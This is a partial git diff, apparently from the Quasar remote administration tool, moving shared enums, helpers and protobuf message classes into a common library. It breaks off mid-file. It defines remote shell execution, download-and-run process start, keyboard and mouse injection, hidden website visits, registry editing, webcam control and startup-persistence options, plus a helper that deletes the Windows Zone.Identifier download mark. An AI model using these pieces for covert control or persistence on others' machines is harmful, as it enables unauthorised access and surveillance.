index 74% rename from Client/Enums/ShutdownAction.cs rename to Quasar.Common/Enums/ShutdownAction.cs index 42b833ac9..d87fddd9e 100644 --- a/Client/Enums/ShutdownAction.cs +++ b/Quasar.Common/Enums/ShutdownAction.cs @@ -1,4 +1,4 @@ -namespace xClient.Enums +namespace Quasar.Common.Enums { public enum ShutdownAction { diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs new file mode 100644 index 000000000..983be5e6c --- /dev/null +++ b/Quasar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +namespace Quasar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 + } +} diff --git a/Quasar.Common/Enums/UserStatus.cs b/Quasar.Common/Enums/UserStatus.cs new file mode 100644 index 000000000..da7260967 --- /dev/null +++ b/Quasar.Common/Enums/UserStatus.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum UserStatus + { + Active, + Idle + } +} diff --git a/Quasar.Common/Extensions/DriveTypeExtensions.cs b/Quasar.Common/Extensions/DriveTypeExtensions.cs new file mode 100644 index 000000000..270aa21a6 --- /dev/null +++ b/Quasar.Common/Extensions/DriveTypeExtensions.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Quasar.Common.Extensions +{ + public static class DriveTypeExtensions + { + /// + /// Converts the value of the instance to its friendly string representation. + /// + /// The . + /// The friendly string representation of the value of this instance. + public static string ToFriendlyString(this DriveType type) + { + switch (type) + { + case DriveType.Fixed: + return "Local Disk"; + case DriveType.Network: + return "Network Drive"; + case DriveType.Removable: + return "Removable Drive"; + default: + return type.ToString(); + } + } + } +} diff --git a/Server/Core/Extensions/SocketExtensions.cs b/Quasar.Common/Extensions/SocketExtensions.cs similarity index 98% rename from Server/Core/Extensions/SocketExtensions.cs rename to Quasar.Common/Extensions/SocketExtensions.cs index f8ca1f28e..8b00f9b0b 100644 --- a/Server/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Common/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace xServer.Core.Extensions +namespace Quasar.Common.Extensions { /// /// Socket Extension for KeepAlive @@ -45,4 +45,4 @@ public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, ui socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); } } -} \ No newline at end of file +} diff --git a/Quasar.Common/Extensions/StringExtensions.cs b/Quasar.Common/Extensions/StringExtensions.cs new file mode 100644 index 000000000..97ca1274a --- /dev/null +++ b/Quasar.Common/Extensions/StringExtensions.cs @@ -0,0 +1,69 @@ +using Quasar.Common.Enums; + +namespace Quasar.Common.Extensions +{ + public static class StringExtensions + { + /// + /// Converts the file extension string to its representation. + /// + /// The file extension string. + /// The representation of the file extension string. + public static ContentType ToContentType(this string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } + } +} diff --git a/Quasar.Common/Helpers/FileHelper.cs b/Quasar.Common/Helpers/FileHelper.cs new file mode 100644 index 000000000..b583e1ea0 --- /dev/null +++ b/Quasar.Common/Helpers/FileHelper.cs @@ -0,0 +1,101 @@ +using Quasar.Common.Cryptography; +using System.IO; +using System.Linq; +using System.Text; + +namespace Quasar.Common.Helpers +{ + public static class FileHelper + { + /// + /// List of illegal path characters. + /// + private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + + /// + /// Indicates if the given path contains illegal characters. + /// + /// The path to check. + /// Returns true if the path contains illegal characters, otherwise false. + public static bool HasIllegalCharacters(string path) + { + return path.Any(c => IllegalPathChars.Contains(c)); + } + + /// + /// Gets a random file name. + /// + /// The length of the file name. + /// The file extension including the dot, e.g. .exe. + /// The random file name. + public static string GetRandomFilename(int length, string extension = "") + { + return string.Concat(StringHelper.GetRandomString(length), extension); + } + + /// + /// Gets a path to an unused temp file. + /// + /// The file extension including the dot, e.g. .exe. + /// The path to the temp file. + public static string GetTempFilePath(string extension) + { + string tempFilePath; + do + { + tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); + } while (File.Exists(tempFilePath)); + + return tempFilePath; + } + + /// + /// Indicates if the given file header contains the executable identifier (magic number) 'MZ'. + /// + /// The binary file to check. + /// Returns true for valid executable identifiers, otherwise false. + public static bool HasExecutableIdentifier(byte[] binary) + { + if (binary.Length < 2) return false; + return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M'); + } + + /// + /// Deletes the zone identifier for the given file path. + /// + /// The file path. + /// Returns true if the deletion was successful, otherwise false. + public static bool DeleteZoneIdentifier(string filePath) + { + return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); + } + + /// + /// Appends text to a log file. + /// + /// The filename of the log. + /// The text to append. + /// The AES instance. + public static void WriteLogFile(string filename, string appendText, Aes256 aes) + { + appendText = ReadLogFile(filename, aes) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(data, 0, data.Length); + } + } + + /// + /// Reads a log file. + /// + /// The filename of the log. + /// The AES instance. + public static string ReadLogFile(string filename, Aes256 aes) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } + } +} diff --git a/Client/Core/Helper/PlatformHelper.cs b/Quasar.Common/Helpers/PlatformHelper.cs similarity index 81% rename from Client/Core/Helper/PlatformHelper.cs rename to Quasar.Common/Helpers/PlatformHelper.cs index 2af1418ee..14f4a7fad 100644 --- a/Client/Core/Helper/PlatformHelper.cs +++ b/Quasar.Common/Helpers/PlatformHelper.cs @@ -2,7 +2,7 @@ using System.Management; using System.Text.RegularExpressions; -namespace xClient.Core.Helper +namespace Quasar.Common.Helpers { public static class PlatformHelper { @@ -21,9 +21,7 @@ static PlatformHelper() RunningOnMono = Type.GetType("Mono.Runtime") != null; Name = "Unknown OS"; - using ( - ManagementObjectSearcher searcher = - new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) { foreach (ManagementObject os in searcher.Get()) { @@ -34,18 +32,18 @@ static PlatformHelper() Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start Is64Bit = Environment.Is64BitOperatingSystem; - FullName = string.Format("{0} {1} Bit", Name, Is64Bit ? 64 : 32); + FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit"; } /// /// Gets the full name of the operating system running on this computer (including the edition and architecture). /// - public static string FullName { get; private set; } + public static string FullName { get; } /// /// Gets the name of the operating system running on this computer (including the edition). /// - public static string Name { get; private set; } + public static string Name { get; } /// /// Determines whether the Operating System is 32 or 64-bit. @@ -53,7 +51,7 @@ static PlatformHelper() /// /// true if the Operating System is 64-bit, otherwise false for 32-bit. /// - public static bool Is64Bit { get; private set; } + public static bool Is64Bit { get; } /// /// Returns a indicating whether the application is running in Mono runtime. @@ -61,7 +59,7 @@ static PlatformHelper() /// /// true if the application is running in Mono runtime; otherwise, false. /// - public static bool RunningOnMono { get; private set; } + public static bool RunningOnMono { get; } /// /// Returns a indicating whether the Operating System is Windows 32 NT based. @@ -69,7 +67,7 @@ static PlatformHelper() /// /// true if the Operating System is Windows 32 NT based; otherwise, false. /// - public static bool Win32NT { get; private set; } + public static bool Win32NT { get; } /// /// Returns a value indicating whether the Operating System is Windows XP or higher. @@ -77,7 +75,7 @@ static PlatformHelper() /// /// true if the Operating System is Windows XP or higher; otherwise, false. /// - public static bool XpOrHigher { get; private set; } + public static bool XpOrHigher { get; } /// /// Returns a value indicating whether the Operating System is Windows Vista or higher. @@ -85,7 +83,7 @@ static PlatformHelper() /// /// true if the Operating System is Windows Vista or higher; otherwise, false. /// - public static bool VistaOrHigher { get; private set; } + public static bool VistaOrHigher { get; } /// /// Returns a value indicating whether the Operating System is Windows 7 or higher. @@ -93,7 +91,7 @@ static PlatformHelper() /// /// true if the Operating System is Windows 7 or higher; otherwise, false. /// - public static bool SevenOrHigher { get; private set; } + public static bool SevenOrHigher { get; } /// /// Returns a value indicating whether the Operating System is Windows 8 or higher. @@ -101,7 +99,7 @@ static PlatformHelper() /// /// true if the Operating System is Windows 8 or higher; otherwise, false. /// - public static bool EightOrHigher { get; private set; } + public static bool EightOrHigher { get; } /// /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. @@ -109,7 +107,7 @@ static PlatformHelper() /// /// true if the Operating System is Windows 8.1 or higher; otherwise, false. /// - public static bool EightPointOneOrHigher { get; private set; } + public static bool EightPointOneOrHigher { get; } /// /// Returns a value indicating whether the Operating System is Windows 10 or higher. @@ -117,6 +115,6 @@ static PlatformHelper() /// /// true if the Operating System is Windows 10 or higher; otherwise, false. /// - public static bool TenOrHigher { get; private set; } + public static bool TenOrHigher { get; } } } diff --git a/Quasar.Common/Helpers/StringHelper.cs b/Quasar.Common/Helpers/StringHelper.cs new file mode 100644 index 000000000..e6f9ccce3 --- /dev/null +++ b/Quasar.Common/Helpers/StringHelper.cs @@ -0,0 +1,80 @@ +using Quasar.Common.Utilities; +using System.Text; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class StringHelper + { + /// + /// Available alphabet for generation of random strings. + /// + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + + /// + /// Abbreviations of file sizes. + /// + private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; + + /// + /// Random number generator. + /// + private static readonly SafeRandom Random = new SafeRandom(); + + /// + /// Gets a random string with given length. + /// + /// The length of the random string. + /// A random string. + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + + /// + /// Gets the human readable file size for a given size. + /// + /// The file size in bytes. + /// The human readable file size. + public static string GetHumanReadableFileSize(long size) + { + double len = size; + int order = 0; + while (len >= 1024 && order + 1 < Sizes.Length) + { + order++; + len = len / 1024; + } + return $"{len:0.##} {Sizes[order]}"; + } + + /// + /// Gets the formatted MAC address. + /// + /// The unformatted MAC address. + /// The formatted MAC address. + public static string GetFormattedMacAddress(string macAddress) + { + return (macAddress.Length != 12) + ? "00:00:00:00:00:00" + : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); + } + + /// + /// Safely removes the last N chars from a string. + /// + /// The input string. + /// The amount of last chars to remove (=N). + /// The input string with N removed chars. + public static string RemoveLastChars(string input, int amount = 2) + { + if (input.Length > amount) + input = input.Remove(input.Length - amount); + return input; + } + } +} diff --git a/Quasar.Common/IO/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs new file mode 100644 index 000000000..495b419ec --- /dev/null +++ b/Quasar.Common/IO/FileSplit.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Common.IO +{ + public class FileSplit : IEnumerable, IDisposable + { + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) + { + switch (fileAccess) + { + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); + } + } + + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) + { + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); + } + + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) + { + _fileStream.Seek(offset, SeekOrigin.Begin); + + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; + + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); + + return new FileChunk + { + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; + } + + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() + { + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + { + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } + + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _fileStream.Dispose(); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Quasar.Common/Messages/ClientIdentification.cs b/Quasar.Common/Messages/ClientIdentification.cs new file mode 100644 index 000000000..69ef36af9 --- /dev/null +++ b/Quasar.Common/Messages/ClientIdentification.cs @@ -0,0 +1,44 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentification : IMessage + { + [ProtoMember(1)] + public string Version { get; set; } + + [ProtoMember(2)] + public string OperatingSystem { get; set; } + + [ProtoMember(3)] + public string AccountType { get; set; } + + [ProtoMember(4)] + public string Country { get; set; } + + [ProtoMember(5)] + public string CountryCode { get; set; } + + [ProtoMember(6)] + public int ImageIndex { get; set; } + + [ProtoMember(7)] + public string Id { get; set; } + + [ProtoMember(8)] + public string Username { get; set; } + + [ProtoMember(9)] + public string PcName { get; set; } + + [ProtoMember(10)] + public string Tag { get; set; } + + [ProtoMember(11)] + public string EncryptionKey { get; set; } + + [ProtoMember(12)] + public byte[] Signature { get; set; } + } +} diff --git a/Quasar.Common/Messages/ClientIdentificationResult.cs b/Quasar.Common/Messages/ClientIdentificationResult.cs new file mode 100644 index 000000000..c44638bd1 --- /dev/null +++ b/Quasar.Common/Messages/ClientIdentificationResult.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentificationResult : IMessage + { + [ProtoMember(1)] + public bool Result { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoAskElevate.cs b/Quasar.Common/Messages/DoAskElevate.cs new file mode 100644 index 000000000..69f91cfe0 --- /dev/null +++ b/Quasar.Common/Messages/DoAskElevate.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAskElevate : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoChangeRegistryValue.cs b/Quasar.Common/Messages/DoChangeRegistryValue.cs new file mode 100644 index 000000000..6d8715ea3 --- /dev/null +++ b/Quasar.Common/Messages/DoChangeRegistryValue.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoChangeRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoClientDisconnect.cs b/Quasar.Common/Messages/DoClientDisconnect.cs new file mode 100644 index 000000000..6ba67459b --- /dev/null +++ b/Quasar.Common/Messages/DoClientDisconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientDisconnect : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoClientReconnect.cs b/Quasar.Common/Messages/DoClientReconnect.cs new file mode 100644 index 000000000..085c4026a --- /dev/null +++ b/Quasar.Common/Messages/DoClientReconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientReconnect : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoClientUninstall.cs b/Quasar.Common/Messages/DoClientUninstall.cs new file mode 100644 index 000000000..eb10b6839 --- /dev/null +++ b/Quasar.Common/Messages/DoClientUninstall.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientUninstall : IMessage + { + } +} diff --git a/Quasar.Common/Messages/DoCloseConnection.cs b/Quasar.Common/Messages/DoCloseConnection.cs new file mode 100644 index 000000000..a76498139 --- /dev/null +++ b/Quasar.Common/Messages/DoCloseConnection.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCloseConnection : IMessage + { + [ProtoMember(1)] + public string LocalAddress { get; set; } + + [ProtoMember(2)] + public ushort LocalPort { get; set; } + + [ProtoMember(3)] + public string RemoteAddress { get; set; } + + [ProtoMember(4)] + public ushort RemotePort { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoCreateRegistryKey.cs b/Quasar.Common/Messages/DoCreateRegistryKey.cs new file mode 100644 index 000000000..c5d430d0e --- /dev/null +++ b/Quasar.Common/Messages/DoCreateRegistryKey.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCreateRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoCreateRegistryValue.cs b/Quasar.Common/Messages/DoCreateRegistryValue.cs new file mode 100644 index 000000000..0ceb00578 --- /dev/null +++ b/Quasar.Common/Messages/DoCreateRegistryValue.cs @@ -0,0 +1,15 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCreateRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoDeleteRegistryKey.cs b/Quasar.Common/Messages/DoDeleteRegistryKey.cs new file mode 100644 index 000000000..e2d605e70 --- /dev/null +++ b/Quasar.Common/Messages/DoDeleteRegistryKey.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoDeleteRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string KeyName { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoDeleteRegistryValue.cs b/Quasar.Common/Messages/DoDeleteRegistryValue.cs new file mode 100644 index 000000000..630fa0549 --- /dev/null +++ b/Quasar.Common/Messages/DoDeleteRegistryValue.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoDeleteRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string ValueName { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoKeyboardEvent.cs b/Quasar.Common/Messages/DoKeyboardEvent.cs new file mode 100644 index 000000000..0b11bd6a7 --- /dev/null +++ b/Quasar.Common/Messages/DoKeyboardEvent.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoKeyboardEvent : IMessage + { + [ProtoMember(1)] + public byte Key { get; set; } + + [ProtoMember(2)] + public bool KeyDown { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoLoadRegistryKey.cs b/Quasar.Common/Messages/DoLoadRegistryKey.cs new file mode 100644 index 000000000..963ce3025 --- /dev/null +++ b/Quasar.Common/Messages/DoLoadRegistryKey.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoLoadRegistryKey : IMessage + { + [ProtoMember(1)] + public string RootKeyName { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoMouseEvent.cs b/Quasar.Common/Messages/DoMouseEvent.cs new file mode 100644 index 000000000..0f17a5632 --- /dev/null +++ b/Quasar.Common/Messages/DoMouseEvent.cs @@ -0,0 +1,24 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoMouseEvent : IMessage + { + [ProtoMember(1)] + public MouseAction Action { get; set; } + + [ProtoMember(2)] + public bool IsMouseDown { get; set; } + + [ProtoMember(3)] + public int X { get; set; } + + [ProtoMember(4)] + public int Y { get; set; } + + [ProtoMember(5)] + public int MonitorIndex { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoPathDelete.cs b/Quasar.Common/Messages/DoPathDelete.cs new file mode 100644 index 000000000..9e3ade8eb --- /dev/null +++ b/Quasar.Common/Messages/DoPathDelete.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathDelete : IMessage + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoPathRename.cs b/Quasar.Common/Messages/DoPathRename.cs new file mode 100644 index 000000000..bc54b568a --- /dev/null +++ b/Quasar.Common/Messages/DoPathRename.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathRename : IMessage + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoProcessEnd.cs b/Quasar.Common/Messages/DoProcessEnd.cs new file mode 100644 index 000000000..318ba21ef --- /dev/null +++ b/Quasar.Common/Messages/DoProcessEnd.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessEnd : IMessage + { + [ProtoMember(1)] + public int Pid { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoProcessResponse.cs b/Quasar.Common/Messages/DoProcessResponse.cs new file mode 100644 index 000000000..8a35badce --- /dev/null +++ b/Quasar.Common/Messages/DoProcessResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessResponse : IMessage + { + [ProtoMember(1)] + public ProcessAction Action { get; set; } + + [ProtoMember(2)] + public bool Result { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoProcessStart.cs b/Quasar.Common/Messages/DoProcessStart.cs new file mode 100644 index 000000000..be9b55a53 --- /dev/null +++ b/Quasar.Common/Messages/DoProcessStart.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessStart : IMessage + { + [ProtoMember(1)] + public string DownloadUrl { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public bool IsUpdate { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoRenameRegistryKey.cs b/Quasar.Common/Messages/DoRenameRegistryKey.cs new file mode 100644 index 000000000..d31ed92f1 --- /dev/null +++ b/Quasar.Common/Messages/DoRenameRegistryKey.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRenameRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string OldKeyName { get; set; } + + [ProtoMember(3)] + public string NewKeyName { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoRenameRegistryValue.cs b/Quasar.Common/Messages/DoRenameRegistryValue.cs new file mode 100644 index 000000000..e6804dfff --- /dev/null +++ b/Quasar.Common/Messages/DoRenameRegistryValue.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRenameRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string OldValueName { get; set; } + + [ProtoMember(3)] + public string NewValueName { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoShellExecute.cs b/Quasar.Common/Messages/DoShellExecute.cs new file mode 100644 index 000000000..e0b36369c --- /dev/null +++ b/Quasar.Common/Messages/DoShellExecute.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShellExecute : IMessage + { + [ProtoMember(1)] + public string Command { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoShellExecuteResponse.cs b/Quasar.Common/Messages/DoShellExecuteResponse.cs new file mode 100644 index 000000000..787857d38 --- /dev/null +++ b/Quasar.Common/Messages/DoShellExecuteResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShellExecuteResponse : IMessage + { + [ProtoMember(1)] + public string Output { get; set; } + + [ProtoMember(2)] + public bool IsError { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoShowMessageBox.cs b/Quasar.Common/Messages/DoShowMessageBox.cs new file mode 100644 index 000000000..dc9eb1e57 --- /dev/null +++ b/Quasar.Common/Messages/DoShowMessageBox.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShowMessageBox : IMessage + { + [ProtoMember(1)] + public string Caption { get; set; } + + [ProtoMember(2)] + public string Text { get; set; } + + [ProtoMember(3)] + public string Button { get; set; } + + [ProtoMember(4)] + public string Icon { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoShutdownAction.cs b/Quasar.Common/Messages/DoShutdownAction.cs new file mode 100644 index 000000000..4256f25a1 --- /dev/null +++ b/Quasar.Common/Messages/DoShutdownAction.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShutdownAction : IMessage + { + [ProtoMember(1)] + public ShutdownAction Action { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoStartupItemAdd.cs b/Quasar.Common/Messages/DoStartupItemAdd.cs new file mode 100644 index 000000000..b60db23ae --- /dev/null +++ b/Quasar.Common/Messages/DoStartupItemAdd.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartupItemAdd : IMessage + { + [ProtoMember(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoStartupItemRemove.cs b/Quasar.Common/Messages/DoStartupItemRemove.cs new file mode 100644 index 000000000..44c67dfa0 --- /dev/null +++ b/Quasar.Common/Messages/DoStartupItemRemove.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartupItemRemove : IMessage + { + [ProtoMember(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoVisitWebsite.cs b/Quasar.Common/Messages/DoVisitWebsite.cs new file mode 100644 index 000000000..f895b872e --- /dev/null +++ b/Quasar.Common/Messages/DoVisitWebsite.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoVisitWebsite : IMessage + { + [ProtoMember(1)] + public string Url { get; set; } + + [ProtoMember(2)] + public bool Hidden { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoWebcamStop.cs b/Quasar.Common/Messages/DoWebcamStop.cs new file mode 100644 index 000000000..3fb791197 --- /dev/null +++ b/Quasar.Common/Messages/DoWebcamStop.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoWebcamStop : IMessage + { + } +} diff --git a/Quasar.Common/Messages/FileTransferCancel.cs b/Quasar.Common/Messages/FileTransferCancel.cs new file mode 100644 index 000000000..f4e708e80 --- /dev/null +++ b/Quasar.Common/Messages/FileTransferCancel.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferCancel : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string Reason { get; set; } + } +} diff --git a/Quasar.Common/Messages/FileTransferChunk.cs 